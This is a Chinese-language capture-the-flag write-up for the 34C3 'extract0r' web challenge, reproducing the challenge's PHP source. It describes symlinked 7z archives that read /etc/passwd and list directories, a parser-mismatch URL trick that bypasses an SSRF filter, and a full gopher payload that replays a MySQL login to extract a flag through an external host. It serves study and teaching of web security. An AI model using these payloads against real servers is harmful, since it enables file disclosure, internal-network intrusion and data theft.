34c3 web extract0r!
这道题目比赛的时候做了差不多两天都没做出来,过完元旦抽了差不多一天半的时间研究了一下这道题,大概从一个萌新的视界讲一下这道题目的一个逻辑。
题目的源码已经放出来了,感兴趣的可以去github上看一下
https://github.com/eboda/34c3ctf/tree/master/extract0r
任意文件读取
上来页面很简单,一个可以上传压缩文件的页面。
点击extract it!可以完成解压。
这里很容易想到之前pwnhub也出过的一个题目,通过软链接来达到任意文件读取。但是tar格式的压缩文件却解压失败了。
尝试以后会发现这个是一个7z格式的文件解压。
ln -s /etc/passwd a
7z a -t7z 1.7z a
读取源码
- index.php
<?php
session_start();
include "url.php";
function get_directory($new=false) {
if (!isset($_SESSION["directory"]) || $new) {
$_SESSION["directory"] = "files/" . sha1(random_bytes(100));
}
$directory = $_SESSION["directory"];
if (!is_dir($directory)) {
mkdir($directory);
}
return $directory;
}
function clear_directory() {
$dir = get_directory();
$files = glob($dir . '/*');
foreach($files as $file) {
if(is_file($file) || is_link($file)) {
unlink($file);
} else if (is_dir($file)) {
rmdir($file);
}
}
}
function verify_archive($path) {
$res = shell_exec("7z l " . escapeshellarg($path) . " -slt");
$line = strtok($res, "\n");
$file_cnt = 0;
$total_size = 0;
while ($line !== false) {
preg_match("/^Size = ([0-9]+)/", $line, $m);
if ($m) {
$file_cnt++;
$total_size += (int)$m[1];
}
$line = strtok( "\n" );
}
if ($total_size === 0) {
return "Archive's size 0 not supported";
}
if ($total_size > 1024*10) {
return "Archive's total uncompressed size exceeds 10KB";
}
if ($file_cnt === 0) {
return "Archive is empty";
}
if ($file_cnt > 5) {
return "Archive contains more than 5 files";
}
return 0;
}
function verify_extracted($directory) {
$files = glob($directory . '/*');
$cntr = 0;
foreach($files as $file) {
if (!is_file($file)) {
$cntr++;
unlink($file);
@rmdir($file);
}
}
return $cntr;
}
function decompress($s) {
$directory = get_directory(true);
$archive = tempnam("/tmp", "archive_");
file_put_contents($archive, $s);
$error = verify_archive($archive);
if ($error) {
unlink($archive);
error($error);
}
shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y");
unlink($archive);
return verify_extracted($directory);
}
function error($s) {
clear_directory();
die("<h2><b>ERROR</b></h2> " . htmlspecialchars($s));
}
$msg = "";
if (isset($_GET["url"])) {
$page = get_contents($_GET["url"]);
if (strlen($page) === 0) {
error("0 bytes fetched. Looks like your file is empty.");
} else {
$deleted_dirs = decompress($page);
$msg = "<h3>Done!</h3> Your files were extracted if you provided a valid archive.";
if ($deleted_dirs > 0) {
$msg .= "<h3>WARNING:</h3> we have deleted some folders from your archive for security reasons with our <a href='cyber_filter'>cyber-enabled filtering system</a>!";
}
}
}
?>
<html>
<head><title>extract0r!</title></head>
<body>
<form>
<h1>extract0r - secure file extraction service</h1>
<p><b>Your Archive:</b></p>
<p><input type="text" size="100" name="url"></p>
<p><input type="submit" value="Extract it!"></p>
</form>
<p>Your extracted files will appear <a href="<?= htmlspecialchars(get_directory()) ?>">here</a>.</p>
<?php if (!empty($msg)) echo "<hr><p>" . $msg . "</p>"; ?>
</body>
</html>
- url.php
<?php
function in_cidr($cidr, $ip) {
list($prefix, $mask) = explode("/", $cidr);
return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> (32-$mask)) << (32-$mask));
}
function get_port($url_parts) {
if (array_key_exists("port", $url_parts)) {
return $url_parts["port"];
} else if (array_key_exists("scheme", $url_parts)) {
return $url_parts["scheme"] === "https" ? 443 : 80;
} else {
return 80;
}
}
function clean_parts($parts) {
// oranges are not welcome here
$blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";
if (array_key_exists("scheme", $parts)) {
$parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]);
}
if (array_key_exists("user", $parts)) {
$parts["user"] = preg_replace($blacklisted, "", $parts["user"]);
}
if (array_key_exists("pass", $parts)) {
$parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]);
}
if (array_key_exists("host", $parts)) {
$parts["host"] = preg_replace($blacklisted, "", $parts["host"]);
}
return $parts;
}
function rebuild_url($parts) {
$url = "";
$url .= $parts["scheme"] . "://";
$url .= !empty($parts["user"]) ? $parts["user"] : "";
$url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : "";
$url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : "";
$url .= $parts["host"];
$url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : "";
$url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : "";
$url .= !empty($parts["query"]) ? "?" . $parts["query"] : "";
$url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : "";
return $url;
}
function get_contents($url) {
$disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8",
"10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8",
"172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24",
"255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24",
"198.51.100.0/24", "198.18.0.0/15", "192.0.2.0/24", "100.64.0.0/10" ];
for ($i = 0; $i < 5; $i++) {
$url_parts = clean_parts(parse_url($url));
if (!$url_parts) {
error("Couldn't parse your url!");
}
if (!array_key_exists("scheme", $url_parts)) {
error("There was no scheme in your url!");
}
if (!array_key_exists("host", $url_parts)) {
error("There was no host in your url!");
}
$port = get_port($url_parts);
$host = $url_parts["host"];
$ip = gethostbynamel($host)[0];
if (!filter_var($ip, FILTER_VALIDATE_IP,
FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) {
error("Couldn't resolve your host '{$host}' or
the resolved ip '{$ip}' is blacklisted!");
}
foreach ($disallowed_cidrs as $cidr) {
if (in_cidr($cidr, $ip)) {
error("That IP is in a blacklisted range ({$cidr})!");
}
}
// all good, rebuild url now
$url = rebuild_url($url_parts);
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip));
curl_setopt($curl, CURLOPT_PORT, $port);
$data = curl_exec($curl);
if (curl_error($curl)) {
error(curl_error($curl));
}
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($status >= 301 and $status <= 308) {
$url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
} else {
return $data;
}
}
error("More than 5 redirects!");
}
任意列目录
两天被卡在这个点上面也是萌萌哒了。。。比赛时候一直想着绕过url.php等等的事情,或者读一些敏感文件,没去想着列目录。
function verify_extracted($directory) {
$files = glob($directory . '/*');
$cntr = 0;
foreach($files as $file) {
if (!is_file($file)) {
$cntr++;
unlink($file);
@rmdir($file);
}
}
return $cntr;
}
当时以为这个限制的很好了,就没多想。。。
复现的时候一直在想怎么猜到的flag在mysql里,直到随手一试发现glob函数是有问题的。。。
也就是说
$files = glob($directory . '/*');
这句话,是不会显示隐藏文件的,所以如果我们软链接生成的是一个隐藏文件,那么就不会被这个函数发现,这样就能软链接一个目录来达到任意列目录的目的。
ln -s /home/extract0r/ .a
7z a -t7z 2.7z .a
这样就能找到出题人故意留下的线索,一个备份用的sh文件。
- create_a_backup_of_my_supersecret_flag.sh
#!/bin/sh
echo "[+] Creating flag user and flag table."
mysql -h 127.0.0.1 -uroot -p <<'SQL'
CREATE DATABASE IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */;
USE `flag`;
DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
`flag` VARCHAR(100)
);
CREATE USER 'm4st3r_ov3rl0rd'@'localhost';
GRANT USAGE ON *.* TO 'm4st3r_ov3rl0rd'@'localhost';
GRANT SELECT ON `flag`.* TO 'm4st3r_ov3rl0rd'@'localhost';
SQL
echo -n "[+] Please input the flag:"
read flag
mysql -h 127.0.0.1 -uroot -p <<SQL
INSERT INTO flag.flag VALUES ('$flag');
SQL
echo "[+] Flag was succesfully backed up to mysql!"
SSRF
- 看这个sh文件可以发现,flag在数据库中,同时有一个无密码的m4st3r_ov3rl0rd用户可以访问这个数据库。因为mysql是支持tcp方式建立连接的,所以如果我们能发送一个构造的tcp包,就能做到和本地的3306端口通讯。这里值得注意的一点是,mysql的登录是挑战应答认证机制,认证时server端会随机发送一个salt,因此如果m4st3r_ov3rl0rd用户是有密码的,就没法在非交互的情况下完成tcp的连接。
- 如何发送tcp包??通过gopher协议可以直接发送一个tcp包的exp。
- 因为index.php会将curl请求到的数据,用7z进行解压,所以我们还需要人为构造一个7z能解压的文件。
- url.php限制了访问内网,需要绕过url.php
绕过url.php
不得不说,这个url.php是一个我看来很完善的防止ssrf的脚本。绕过url.php的方法在php的curl本身上。绕过的核心问题是,php的parse_url和curl对于url的解析存在不同。
- 官方给出的绕过是这样的:
gopher://foo@[cafebabe.cf]@yolo.com:3306/
parse_url认为host是yolo.com
但是curl却认为host是[cafebabe.cf] - 在rfc3986中是这样定义host的:
host = IP-literal / IPv4address / reg-name
然后有这么一段话
A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets ("[" and "]"). This is the only place where square bracket characters are allowed in the URI syntax.
IP-literal = "[" ( IPv6address / IPvFuture ) "]"
也就是说[cafebabe.cf]
这种类型是rfc规定的一种host的形式,但是里面不应该是reg-name形式的东西。curl识别了[],因此把这个当做了host。
- rr大佬的绕过是这样的
gopher://foo@localhost:f@ricterz.me:3306
这个我大致的猜测是curl认为foo是userinfo段,然后localhost是host段,碰到:停止获取,就获得了localhost。不过这个payload在我本地7.47的php curl中没有成功。远程应该是7.52。 - 对于curl和parse_url如何解析url,我做了一些测试以后,大致感觉curl的解析是从左至右找的host,而parse_url则是从右至左的找的host。
- 对于指定3306端口,因为
$blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";
这个的缘故,orange师傅在blackhat上的那个slide里的一些姿势都不能用,比如
因此,port只能放在最后的位置。还有这上面这个payload在php curl7.47里也不行,不知道为什么低版本反倒比高版本不容易绕过
mysql构造压缩包
- 因为index.php会将拿到的数据用7z解压,所以我们不能只select一个flag,而是要select出一个压缩包的文件。但用mysql实现一个压缩算法什么的把找出来的flag压缩应该是不太可行的。。。我的第一反应是类似tar的打包。就是我们放的是无损的数据就不会存在这个问题。
- tar和zip都有这样的功能,zip的-n参数可以不压缩具有特定字尾字符串的文件。
-
这样就可以先构造一个比如100个'A'的文件,然后用zip -n的方式压缩它,效果如图:
- 然后可以通过把select出来的flag替换到对应的位置,万幸的是crc校验不对7z也能够解压23333
- 这样的话,flag前后,我们可以用cast把这个构造的压缩包的内容依葫芦画瓢转化成字节,然后用concat把前后加flag的内容拼起来就ok了。
echo "use flag;SELECT cast(concat(0x504B03040A00000000000E4F244C8DBC9795640000006400000001001C00325554090003CB894D5AD7894D5A75780B000104E803000004E8030000,rpad(flag,100,'A'),0x504B01021E030A00000000000E4F244C8DBC97956400000064000000010018000000000000000000A48100000000325554050003CB894D5A75780B000104E803000004E8030000504B05060000000001000100470000009F0000000000) AS BINARY) from flag;"|mysql -h127.0.0.1 -um4st3r_ov3rl0rd
构造tcp包
- tcp包的构造,可以像官方给的exp一样,通过实现mysql的tcp通信方式来直接构造;也可以取巧一点,通过抓包的方式获得。
- mysql的通信,可以参考这篇http://www.jb51.net/article/131681.htm
- 抓包的话有一个比较坑的地方,搞的我之前怎么抓也没抓到。就是你本地使用mysql的时候使用Unix套接字来通信的。需要加一个
-h127.0.0.1
的参数才是通过tcp来通信。 -
抓到包以后把发送给server的提取出来,保存它的hex值就好了。
先抓包再研究mysql的通信过程也是个不错的选择。
gopher发包
这部分很简单,把刚刚提取到的hex值变成url编码的形式,加上gopher://foo@[cafebabe.cf]@rebirthwyw.xyz:3306/_
就大功告成了。
最后的payload是
gopher://foo@[cafebabe.cf]@rebirthwyw.xyz:3306/_%AD%00%00%01%85%A2%BF%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6D%34%73%74%33%72%5F%6F%76%33%72%6C%30%72%64%00%00%6D%79%73%71%6C%5F%6E%61%74%69%76%65%5F%70%61%73%73%77%6F%72%64%00%65%03%5F%6F%73%05%4C%69%6E%75%78%0C%5F%63%6C%69%65%6E%74%5F%6E%61%6D%65%08%6C%69%62%6D%79%73%71%6C%04%5F%70%69%64%04%31%38%39%35%0F%5F%63%6C%69%65%6E%74%5F%76%65%72%73%69%6F%6E%06%35%2E%37%2E%32%30%09%5F%70%6C%61%74%66%6F%72%6D%06%78%38%36%5F%36%34%0C%70%72%6F%67%72%61%6D%5F%6E%61%6D%65%05%6D%79%73%71%6C%21%00%00%00%03%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%5F%63%6F%6D%6D%65%6E%74%20%6C%69%6D%69%74%20%31%12%00%00%00%03%53%45%4C%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%66%6C%61%67%72%01%00%00%03%53%45%4C%45%43%54%20%63%61%73%74%28%63%6F%6E%63%61%74%28%30%78%35%30%34%42%30%33%30%34%30%41%30%30%30%30%30%30%30%30%30%30%30%45%34%46%32%34%34%43%38%44%42%43%39%37%39%35%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%31%30%30%31%43%30%30%33%32%35%35%35%34%30%39%30%30%30%33%43%42%38%39%34%44%35%41%44%37%38%39%34%44%35%41%37%35%37%38%30%42%30%30%30%31%30%34%45%38%30%33%30%30%30%30%30%34%45%38%30%33%30%30%30%30%2C%72%70%61%64%28%66%6C%61%67%2C%31%30%30%2C%27%41%27%29%2C%30%78%35%30%34%42%30%31%30%32%31%45%30%33%30%41%30%30%30%30%30%30%30%30%30%30%30%45%34%46%32%34%34%43%38%44%42%43%39%37%39%35%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%31%30%30%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%41%34%38%31%30%30%30%30%30%30%30%30%33%32%35%35%35%34%30%35%30%30%30%33%43%42%38%39%34%44%35%41%37%35%37%38%30%42%30%30%30%31%30%34%45%38%30%33%30%30%30%30%30%34%45%38%30%33%30%30%30%30%35%30%34%42%30%35%30%36%30%30%30%30%30%30%30%30%30%31%30%30%30%31%30%30%34%37%30%30%30%30%30%30%39%46%30%30%30%30%30%30%30%30%30%30%29%20%41%53%20%42%49%4E%41%52%59%29%20%66%72%6F%6D%20%66%6C%61%67%01%00%00%00%01
最后的一点是,你抓包的话不难发现mysql除了返回给你值,在前面还会有一些信息,但是7z牛逼啊,不管前面的内容也能给你解压出来23333